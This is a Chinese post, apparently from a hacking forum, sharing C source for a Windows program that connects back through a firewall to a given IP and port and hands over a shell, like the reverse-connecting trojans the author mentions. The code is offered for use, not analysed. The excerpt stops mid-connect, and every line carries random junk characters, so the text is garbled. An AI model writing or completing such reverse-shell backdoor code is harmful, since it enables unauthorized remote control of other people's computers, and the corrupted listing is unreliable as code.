这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V;xPZ2C;
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/* ============================== Fm0d0j
Rebound port in Windows NT $G9LaD#;M
By wind,2006/7 R+Hu?Dv&F
===============================*/ |p&EP2?T
#include BZ?3=S1*
#include S3ooG1 4Ls
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#pragma comment(lib,"wsock32.lib") "dX~J3$
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void OutputShell(); kg]6q T;Y
SOCKET sClient; 0N$7(.
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; UpG DLb f^
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void main(int argc,char **argv) /=m AVA
{ eyD V911
WSADATA stWsaData; C6;2Dd]"N
int nRet; ZyUcL_
SOCKADDR_IN stSaiClient,stSaiServer; !HDb{f
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if(argc != 3) OX]$Xdb2:
{ _M%S
printf("Useage:\n\rRebound DestIP DestPort\n"); F tIcA"^N
return; LUMbRrD-
} iAu/ t
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WSAStartup(MAKEWORD(2,2),&stWsaData); Y7}Tuy dC
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a.Z@Z!*
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stSaiClient.sin_family = AF_INET; eut2x7Z(c
stSaiClient.sin_port = htons(0); o:AfEoH"~
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %;k Hnl
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) w+R/>a(]
{ 2F:qaz
printf("Bind Socket Failed!\n"); z3+@[I$
return; .d1ff];
} Ds">eNq
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stSaiServer.sin_family = AF_INET; lA5Dag'
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n^4R]9U
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); SV>tw`2
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &